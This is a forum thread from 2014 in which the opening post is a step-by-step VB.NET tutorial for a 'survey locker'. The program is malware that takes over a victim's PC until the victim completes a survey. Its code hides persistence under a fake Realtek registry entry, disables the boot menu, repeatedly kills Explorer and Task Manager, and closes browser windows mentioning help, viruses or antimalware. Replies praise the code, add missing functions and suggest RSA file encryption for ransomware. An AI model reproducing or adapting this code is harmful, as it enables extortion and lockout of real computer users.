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Voidlight - August 21, 2014, 9:00 am

Survey Locker Tutorial

Design:

The design of the locker wont really matter once the person is locked out, as all they will be thinking about is how to get there computer back. Here is an example of a design i did, but for this tutorial we will be doing a basic design. [Design Example](#)

Setup your windows form however you want, but it must include:Button x 1

Textbox x 1

link label x 1

Here is a quick example using that:

Spoiler ([Click to View](#))

[img]http://i.minus.com/ibipXOxDJcBdWp.png[/img]

Note: Make sure the form border style is set to FixedSingle, and maximize and minimize are set to false.

Code:

First we are going to make some methods:

This will disable the desktop and minimize all applications.

```
Code Public Sub ShowDesktop()
```

```
    Dim objShell
```

```
    objShell = CreateObject("shell.application")
```

```
    objShell.MinimizeAll()
```

```
    objShell = Nothing
```

```
End Sub
```

This will disable system restore and boot menu.

```
Code Public Sub disableF8()
```

```
    Try
```

```
        Shell("bcdedit /set {bootmgr} displaybootmenu no")
```

```
    Catch ex As Exception
```

End Try

End Sub

this will add itself to startup.

Code Public Sub starting()

Try

My.Computer.Registry.CurrentUser.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True).SetValue("RealtekSoftware", """" + Application.StartupPath + "\locker.exe""")

Catch ex As Exception

End Try

End Sub

This will remove the startup

Code Public Sub nostarting()

Try

csdcscd()

Catch ex As Exception

End Try

End Sub

Sub csdcscd()

My.Computer.Registry.CurrentUser.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run").DeleteValue("RealtekSoftware", """" + Application.StartupPath + "\locker.exe""")

End Sub

This will auto delete the file from the computer after they unlock it:

Code Public Sub autdestroy()

Process.Start("cmd.exe", "/C ping 1.1.1.1 -n 2 -w 3000 > Nul & Del " & Chr(34) + Application.ExecutablePath & Chr(34))

End

End Sub

Now that we have those methods out of the way, we need to disable them closing the form.

Code Private Sub Form1_Closing(ByVal sender As Object, ByVal e As System.ComponentModel.CancelEventArgs) Handles MyBase.Closing

e.Cancel = True

End Sub

Now add a timer, and add this for the timer tick event:

Code Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick

Dim explorer() As Process = Process.GetProcessesByName("explorer")

'Get all proces called explorer

Dim tsk() As Process = Process.GetProcessesByName("taskmgr")

'Get all process called taskmgr

Try

For Each Process In explorer

Process.Kill()

Next

Catch ex As Exception

End Try

Try

For Each Process In tsb

Process.Kill()

Next

Catch ex As Exception

End Try

Try

Dim p As Process

For Each p In Process.GetProcessesByName(defaultbrowser)

Dim s = p.MainWindowTitle.ToString.ToLower

If s.Contains("facebook") Or s.Contains("youtube") Or s.Contains("virus") Or
s.Contains("infected") Or s.Contains("search") Or s.Contains("windows") Or s.Contains("bing") Or
s.Contains("nuova scheda") Or s.Contains("new tab") Or s.Contains("cerca") Or
s.Contains("malwarebites") Or s.Contains("help") Or s.Contains("google") Then

p.Kill()

Me.Focus()

MsgBox("Internet surfing is disabled until you complete the survey or choose any other
option to download the file with the product key.", MsgBoxStyle.Critical)

End If

Next

Catch ex As Exception

End Try

End Sub

Now, double click on the form1, and add this:

Code ShowDesktop()

disableF8()

Timer1.Start()

starting()

Dim defBrows() As Process = Process.GetProcessesByName(defaultbrowser)
previous function)

Try

For Each process In defBrows

process.Kill()

Next
Catch ex As Exception

End Try

End Sub

Also make sure you add this function to get there default browser

Code Function defaultbrowser() As String

'This Function retrives the default browser name.

'Default browser will be used later.

defaultbrowser =

My.Computer.Registry.GetValue("HKEY_CLASSES_ROOT\HTTP\shell\open\command", "", "Not Found")

'Reads a registry key containing default browser path

Dim splitted() As String = Split(defaultbrowser, "\"")

'In the registry key the name is not clear so we need to split it

Return IO.Path.GetFileNameWithoutExtension(splitted(1))

'From the path it retrives only the name without exe.

'We need this later because of manipulating that process

End Function

next, on button1 click:

Code Here we have all function executed when the user

'Click the "Register Button"

Dim prd As String = TextBox1.Text()

'Declare a variable and assign to it what user typed in the 3 textbox

If prd = "Lx8G2u&kY3l" Then

Timer1.Enabled = False

'Disable the timer that was killing explorer and task manager

enableF8()

'Re-enable Advanced Boot menu

Process.Start("explorer")

nostarting()

autdestroy()

End

Else

MsgBox("Invalid Product Key", MsgBoxStyle.Critical)

'Prompt a message box saying "Invalid Product Key"

End If

End Sub

now, last but not least, the link:

```
Code Private Sub LinkLabel1_LinkClicked(ByVal sender As System.Object, ByVal e As  
System.Windows.Forms.LinkLabelLinkClickedEventArgs) Handles LinkLabel1.LinkClicked  
    Process.Start("http://getmyfile.org/file/04tBJ")  
End Sub
```

End Sub

Thanks for reading(copy - pasting) my tutorial!

joneh heil - August 21, 2014, 9:41 am

Good tutorial. I might try this in the future.

SaketSaket - August 21, 2014, 10:37 am

Nice tutorial... I will learn few things from this... Keep sharing ;)

Voidlight - August 21, 2014, 11:27 am

Thanks guy, ill post more soon. Feel free to use this in any application.

Only3 - August 21, 2014, 11:36 am

```
If s.Contains("facebook") Or s.Contains("youtube") Or s.Contains("virus") Or s.Contains("infected")  
Or s.Contains("search") Or s.Contains("windows") Or s.Contains("bing") Or s.Contains("nuova  
scheda") Or s.Contains("new tab") Or s.Contains("cerca") Or s.Contains("malwarebites") Or  
s.Contains("help") Or s.Contains("google") Then
```

^^ didnt u herd about array

stdimap - August 21, 2014, 11:52 am

Victims infected: 1E10000

Money Made: \$0.00

Woot .NET malware is awesome

Voidlight - August 21, 2014, 1:29 pm

(Aug 21, 2014 11:52 AM)stdimap Wrote: [\[CITE\]](#) Victims infected: 1E10000

Money Made: \$0.00

Woot .NET malware is awesomeIm not to sure what the point of this post was..

```
(Aug 21, 2014 11:36 AM)Only3 Wrote: \[CITE\] If s.Contains("facebook") Or s.Contains("youtube") Or  
s.Contains("virus") Or s.Contains("infected") Or s.Contains("search") Or s.Contains("windows") Or  
s.Contains("bing") Or s.Contains("nuova scheda") Or s.Contains("new tab") Or s.Contains("cerca")  
Or s.Contains("malwarebites") Or s.Contains("help") Or s.Contains("google") Then
```

^^ didnt u herd about arrayYeah, feel free to add an array if you would like.

?Eatos - August 21, 2014, 1:44 pm

I think that you forgot to add the enableF8() sub procedure.

PHP Code

```
<?php
```

```
Public Sub enableF8()
```

```
    Try
```

```
Shell("bcdedit /set {bootmgr} displaybootmenu yes")
Catch ex As Exception
```

```
End Try
End Sub
```

Hopsin - August 21, 2014, 1:47 pm

Great tutorial. Well explained as well!!

Doge. - August 21, 2014, 7:16 pm

Really detailed tutorial. Well done bro.

Voidlight - August 21, 2014, 7:30 pm

Glad all of you like it :) any suggestions for another tutorial?

Dabbed - August 23, 2014, 8:29 pm

Awesome tutorial! Thanks for this! Currently building my own locker based off your source code.

Edit: The function that adds the application to startup isn't working.

Voidlight - August 24, 2014, 1:13 pm

(Aug 23, 2014 08:29 PM)Dabbed Wrote: [\[CITE\]](#) Awesome tutorial! Thanks for this! Currently building my own locker based off your source code.

Edit: The function that adds the application to startup isn't working.

You have to make sure that the name of the application is the same as the name you put in the startup method.

OffCode - August 24, 2014, 1:37 pm

Ohh Thanks for this i got some things in my project! :P And this is good for learning :)

Malwar - August 24, 2014, 2:28 pm

These snippets of code look interesting. I'm quite the Beginner to Programming.

Thanks a tone ?

IAmNotHere - August 24, 2014, 2:50 pm

Some cool codes. Will look forward to try to put some of the functions in my project, if ok with you. I don't do survey lockers. Thank you!

Voidlight - August 24, 2014, 3:38 pm

(Aug 24, 2014 02:50 PM)IAmNotHere Wrote: [\[CITE\]](#) Some cool codes. Will look forward to try to put some of the functions in my project, if ok with you. I don't do survey lockers. Thank you!

Feel free to use this in your program. If you plan on releasing it, please leave credits.

-zERaIT - August 24, 2014, 4:36 pm

Nice tutorial and good contribution.

I might release my lockers source, which I made back in the days, but not sure yet tho.

NETExplorer - August 24, 2014, 5:15 pm

Please, follow that tutorial!

Voidlight - August 24, 2014, 6:25 pm

(Aug 24, 2014 05:15 PM)PatPositron Wrote: [\[CITE\]](#)

Please, follow that tutorial!

Not gunna lie, that made me laugh. Good job sir.

Routess - August 26, 2014, 6:13 am

Your code should never include the password, you should check it with a server or even use a Hash-Encryption.

Ofc there are a lot more things that you could improve but all in all its quite OK :)

Voidlight - August 26, 2014, 7:58 am

(Aug 26, 2014 06:13 AM)Routess Wrote: [\[CITE\]](#) Your code should never include the password, you should check it with a server or even use a Hash-Encryption.

Ofc there are a lot more things that you could improve but all in all its quite OK :)

I agree, but if you obfuscate the code there shouldn't be an issue.

Any other suggestions for tutorials not seen yet?

NFusionGame - August 27, 2014, 4:24 pm

(Aug 26, 2014 06:13 AM)Routess Wrote: [\[CITE\]](#) Your code should never include the password, you should check it with a server or even use a Hash-Encryption.

Ofc there are a lot more things that you could improve but all in all its quite OK :)Using a hash for comparison is about as secure as a plain text password when it comes to .net because if they can read the password through dis-assembly or memory scanning they can (almost always) also just replace the stored hash with an already known one or simply Null the check. Although I also would still go for a hashed password because you could implement checks in the code for the correct hash (again these could be patched).

Thinking on the matter further I would asymmetrically encrypt files using RSA. As it would be the best security against unauthorized removal because if the encryption has been done properly the only way your going to be getting those files back is by using the private key which only we know (which would have to be unique for each instance of the software, so needs some server side element to gen and distribute the keys).

Meow - August 27, 2014, 5:23 pm

Very nice tutorial! I'm sure it will help me A LOT! ?

Voidlight - August 30, 2014, 9:28 am

(Aug 27, 2014 05:23 PM)Meow. Wrote: [\[CITE\]](#) Very nice tutorial! I'm sure it will help me A LOT! ? Thank you!, I'm glad it helped you out!

Voidlight - September 6, 2014, 6:17 pm

Bump

Spoiler [\(Click to View\)](#)

35 characters

35 characters

felicixus - September 7, 2014, 4:00 am

Nice to see my source code copied and pasted anywhere :)

Thanks for credits dude (sarcasm)

TheBarret - September 7, 2014, 7:27 am

Wow what a piece crap, you assume that you write like that to the registry and you assume that u can run bcdedit without the proper admin elevation. Not to mention the unhandled exception block.

Fuck me dude, this is totally worthless.

OffCode - September 7, 2014, 3:14 pm

Make new tutorial and How make Builder + Stub :P

Voidlight - September 15, 2014, 8:49 am

(Sep 7, 2014 03:14 PM)MaguEXE Wrote: [CITE](#) Make new tutorial and How make Builder + Stub :P
I will in the future, there are many tutorials on builders.

TazzyOpz - September 15, 2014, 9:06 am

I'm sure it works... However I'm not going to try it lol... I fight against this type of software... But I mean why didn't you just use an array? This is total non-sense ?

Code If s.Contains("facebook") Or s.Contains("youtube") Or s.Contains("virus") Or
s.Contains("infected") Or s.Contains("search") Or s.Contains("windows") Or s.Contains("bing") Or
s.Contains("nuova scheda") Or s.Contains("new tab") Or s.Contains("cerca") Or
s.Contains("malwarebites") Or s.Contains("help") Or s.Contains("google") Then
?